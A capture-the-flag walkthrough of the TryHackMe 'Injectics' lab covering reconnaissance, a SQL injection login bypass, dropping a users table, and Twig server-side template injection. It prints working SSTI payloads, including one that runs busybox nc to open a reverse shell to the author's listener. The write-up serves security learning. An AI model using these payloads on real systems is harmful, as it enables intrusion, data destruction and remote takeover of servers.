10 minutes
Walkthrough - THM Injectics
This walkthrough is related to the medium level box from Try Hack Me called Injectics which is designed to test your injection skills to take control of a web app. Let’s get started!
We start with first identifying what are the open ports and we use rustscan
which shows us that we have two ports open, being 22 and 80
❯ rustscan -a 10.10.80.9
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Scanning ports: The virtual equivalent of knocking on doors.
[~] The config file is expected to be at "/home/n3ph0s/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.80.9:22
Open 10.10.80.9:80
[~] Starting Script(s)
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-29 12:30 PST
Initiating Ping Scan at 12:30
Scanning 10.10.80.9 [2 ports]
Completed Ping Scan at 12:30, 0.24s elapsed (1 total hosts)
Initiating Connect Scan at 12:30
Scanning injectics.thm (10.10.80.9) [2 ports]
Discovered open port 80/tcp on 10.10.80.9
Discovered open port 22/tcp on 10.10.80.9
Completed Connect Scan at 12:30, 0.24s elapsed (2 total ports)
Nmap scan report for injectics.thm (10.10.80.9)
Host is up, received syn-ack (0.24s latency).
Scanned at 2024-07-29 12:30:15 PST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds
As a secondary check and to also check UDP, I also run masscan
with the command sudo masscan -p1-65535,U:1-65535 -e tun0 --rate=10000 10.10.80.9
but this turns up no additional information.
The following is the output from nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:83:df:a9:d5:55:b3:31:ea:34:98:fb:f5:e0:22:9a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqPOQZSovnh3pxFRHXa6RkX7gai5WmUWjASorkjIczAcjN4nm/uO5v7pAliGQIwDWYVwxT5N/ljOrxSwRRGeP0USGCOfMIPdAOEBZ1Qo+CALtu5AO28j3LML7vS0Cot58vUa+tdcSojvDC3HOXQHZ/L4LL6/+qfwCWs6vJgKCrAicaZUsCCAELcGPC7BrO/8EqNmDLrJMzHCzYN7S40aECasUWkw+c9Xa34JgwP06cAX1D5KS5ZYQltZGdwWE/3gd/Yteu18Bi74RPg8q7wQ8MdAhBgwR2iQJHf/0O/r9AZt71MibcG4d7aEy0mssIHuntFAoNGt4GMIpQWKNxK5O6SScbefHFgcwtRJ16z1zG9V5oVIHJPPbj8HQO3U9l4d1VeSA/J3EPX61xqTYD7LJBIM698DRqQZhXccKH+q5wCGlPCceY8YHaYcpK5uWUawR4iSJ5leOAFnvxvC+I563YJaQelCoUxZlnpNX2buwX5GmyVPEW3L6a6Go0lx0LCrk=
| 256 49:73:7a:ea:1b:9c:b5:61:77:a5:db:43:93:4e:d5:de (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9ggiz/fFMOQH2aDEzUrmxXBEf/jqnFu1jyklngh8uVFFA5Vj53VlOMTRwNq1LixIsmZRqLg/y/ppPVD1F1xts=
| 256 9a:2b:f2:75:e1:9c:0c:92:40:ec:f7:ce:2e:64:ae:75 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBoG1H7HSYQ8p47ySJzNSmaVlbryoxclUvDR3su3CAhD
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Injectics Leaderboard
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 80 - HTTP
We will focus on Port 80 as the most logical attack vector at this point in time and we will kick off some automated scans before manually inspecting the site.
Directory Fuzzing (non-recursive)
❯ feroxbuster -u http://injectics.thm -n
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.4
───────────────────────────┬──────────────────────
🎯 Target Url │ http://injectics.thm
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.4
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🚫 Do Not Recurse │ true
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 161l 368w 5401c http://injectics.thm/login.php
200 GET 6l 263w 18362c http://injectics.thm/js/popper.min.js
200 GET 7l 683w 60044c http://injectics.thm/js/bootstrap.min.js
200 GET 2l 1062w 72380c http://injectics.thm/js/slim.min.js
301 GET 9l 28w 319c http://injectics.thm/javascript => http://injectics.thm/javascript/
301 GET 9l 28w 312c http://injectics.thm/css => http://injectics.thm/css/
301 GET 9l 28w 311c http://injectics.thm/js => http://injectics.thm/js/
301 GET 9l 28w 319c http://injectics.thm/phpmyadmin => http://injectics.thm/phpmyadmin/
200 GET 7l 2103w 160302c http://injectics.thm/css/bootstrap.min.css
200 GET 206l 428w 6588c http://injectics.thm/
301 GET 9l 28w 314c http://injectics.thm/flags => http://injectics.thm/flags/
301 GET 9l 28w 315c http://injectics.thm/vendor => http://injectics.thm/vendor/
[####################] - 3m 30013/30013 0s found:12 errors:0
[####################] - 3m 30000/30000 198/s http://injectics.thm/
In addition to running FeroxBuster, I also run dirsearch
which has some good default settings just for additional validation
❯ dirsearch -u http://injectics.thm
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/n3ph0s/Hacking/Machines/THM/Injectics/reports/http_injectics.thm/_24-08-02_11-38-06.txt
Target: http://injectics.thm/
[11:38:06] Starting:
[11:38:19] 301 - 311B - /js -> http://injectics.thm/js/
[11:38:22] 403 - 278B - /.ht_wsr.txt
[11:38:22] 403 - 278B - /.htaccess.bak1
[11:38:22] 403 - 278B - /.htaccess.orig
[11:38:22] 403 - 278B - /.htaccess.sample
[11:38:22] 403 - 278B - /.htaccess.save
[11:38:22] 403 - 278B - /.htaccess_extra
[11:38:22] 403 - 278B - /.htaccess_orig
[11:38:22] 403 - 278B - /.htaccess_sc
[11:38:22] 403 - 278B - /.htaccessBAK
[11:38:22] 403 - 278B - /.htaccessOLD
[11:38:22] 403 - 278B - /.htaccessOLD2
[11:38:22] 403 - 278B - /.htm
[11:38:22] 403 - 278B - /.html
[11:38:22] 403 - 278B - /.httr-oauth
[11:38:22] 403 - 278B - /.htpasswd_test
[11:38:22] 403 - 278B - /.htpasswds
[11:38:25] 403 - 278B - /.php
[11:39:07] 200 - 48B - /composer.json
[11:39:07] 200 - 9KB - /composer.lock
[11:39:10] 301 - 312B - /css -> http://injectics.thm/css/
[11:39:11] 302 - 0B - /dashboard.php -> dashboard.php
[11:39:20] 301 - 314B - /flags -> http://injectics.thm/flags/
[11:39:28] 301 - 319B - /javascript -> http://injectics.thm/javascript/
[11:39:29] 403 - 278B - /js/
[11:39:32] 200 - 1KB - /login.php
[11:39:33] 302 - 0B - /logout.php -> index.php
[11:39:34] 200 - 1KB - /mail.log
[11:39:45] 301 - 319B - /phpmyadmin -> http://injectics.thm/phpmyadmin/
[11:39:47] 200 - 3KB - /phpmyadmin/doc/html/index.html
[11:39:49] 200 - 3KB - /phpmyadmin/
[11:39:49] 200 - 3KB - /phpmyadmin/index.php
[11:39:56] 403 - 278B - /server-status
[11:39:56] 403 - 278B - /server-status/
[11:40:11] 403 - 278B - /vendor/
[11:40:11] 200 - 0B - /vendor/composer/autoload_classmap.php
[11:40:11] 200 - 0B - /vendor/composer/autoload_files.php
[11:40:11] 200 - 0B - /vendor/composer/autoload_real.php
[11:40:11] 200 - 0B - /vendor/composer/autoload_psr4.php
[11:40:11] 200 - 0B - /vendor/composer/autoload_static.php
[11:40:11] 200 - 0B - /vendor/composer/autoload_namespaces.php
[11:40:11] 200 - 0B - /vendor/composer/ClassLoader.php
[11:40:11] 200 - 12KB - /vendor/composer/installed.json
[11:40:11] 200 - 0B - /vendor/autoload.php
[11:40:11] 200 - 1KB - /vendor/composer/LICENSE
Task Completed
Sub-Domain Fuzzing
❯ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://injectics.thm -H 'Host: FUZZ.injectics.thm' -fs 6588
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://injectics.thm
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.injectics.thm
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 6588
________________________________________________
:: Progress: [4989/4989] :: Job [1/1] :: 159 req/sec :: Duration: [0:00:34] :: Errors: 0 ::
Manual Inspection
We launch caido
so that we can intercept traffic to inspect later and then we open the browser and we are presented with the following default landing page
We look at the source code and we find a name and email address and also a note that mails are stored in a log file.
You will recall that we also saw mail.log
in the earlier scans and when we look at that file, we can see that this has username and passwords that will be set if the users table is deleted or corrupted. We now know that there is a database behind it and that if we can get access and drop the table, we have the required access.
❯ curl http://injectics.thm/mail.log
From: dev@injectics.thm
To: superadmin@injectics.thm
Subject: Update before holidays
Hey,
Before heading off on holidays, I wanted to update you on the latest changes to the website. I have implemented several enhancements and enabled a special service called Injectics. This service continuously monitors the database to ensure it remains in a stable state.
To add an extra layer of safety, I have configured the service to automatically insert default credentials into the `users` table if it is ever deleted or becomes corrupted. This ensures that we always have a way to access the system and perform necessary maintenance. I have scheduled the service to run every minute.
Here are the default credentials that will be added:
| Email | Password |
|---------------------------|-------------------------|
| superadmin@injectics.thm | superSecurePasswd101 |
| dev@injectics.thm | devPasswd123 |
Please let me know if there are any further updates or changes needed.
Best regards,
Dev Team
dev@injectics.thm
The other file that we found earlier was composer.json
which indicates that they are running Twig which could also indicate that there is an SSTI that we could exploit
❯ curl http://injectics.thm/composer.json
{
"require": {
"twig/twig": "2.14.0"
}
}%
We then navigate to the login page and we are then presented with the following.
When we enter something generic, we can see that there is a parameter called functions.php
and we get the response back in JSON
If we look at the source code of the page it calls script.js
which if we look into calls the functions.php
which has a list of invalid keywords for the username value.
$("#login-form").on("submit", function(e) {
e.preventDefault();
var username = $("#email").val();
var password = $("#pwd").val();
const invalidKeywords = ['or', 'and', 'union', 'select', '"', "'"];
for (let keyword of invalidKeywords) {
if (username.includes(keyword)) {
alert('Invalid keywords detected');
return false;
}
}
$.ajax({
url: 'functions.php',
type: 'POST',
data: {
username: username,
password: password,
function: "login"
},
dataType: 'json',
success: function(data) {
if (data.status == "success") {
if (data.auth_type == 0){
window.location = 'dashboard.php';
}else{
window.location = 'dashboard.php';
}
} else {
$("#messagess").html('<div class="alert alert-danger" role="alert">' + data.message + '</div>');
}
}
});
});
We have a high probability that there is a SQL Injection so we intercept a request and pass it to Automate using Caido and we are able to bypass this.
We now have the ability to be able to edit the rankings
We will click on edit and make a change and based on the request, can be reasonably confident that this updates a database.
You will recall that we found the mail.log
that provided credentials in the event that the users table was either deleted or corrupted so let’s see if we are able to do that.
Looks like the table has been dropped :)
We go to the admin login page and are able to login with the admin credentials found earlier and we have found the first flag
If you recall we identified that Twig was being used and this means that it potentially could allow SSTI and from looking at the page, one possible area is the “Welcome, admin!” which is being reflected on the page. Based on this we can see that this would come from the Profile page, so we will have a look at this.
The easiest way to test for this is to inject {{7*7}}
and see if this is evaluated.
We can this that this has been evaluated and we get the results on the home page and we will now use this to get a reverse shell
After some trial and error we have been able to get command execution using {{['id','']|sort('passthru')}}
and we can of course get the flag this way which we have done, but that is not as much fun as getting a shell.
Getting a Shell
We have set up our listener and we have gotten a shell with the payload {{['busybox nc 10.11.79.78 9001 -e bash','']|sort('passthru')}}
❯ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.11.79.78] from (UNKNOWN) [10.10.24.141] 55766
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We upgrade our shell and we have Pwned this machine!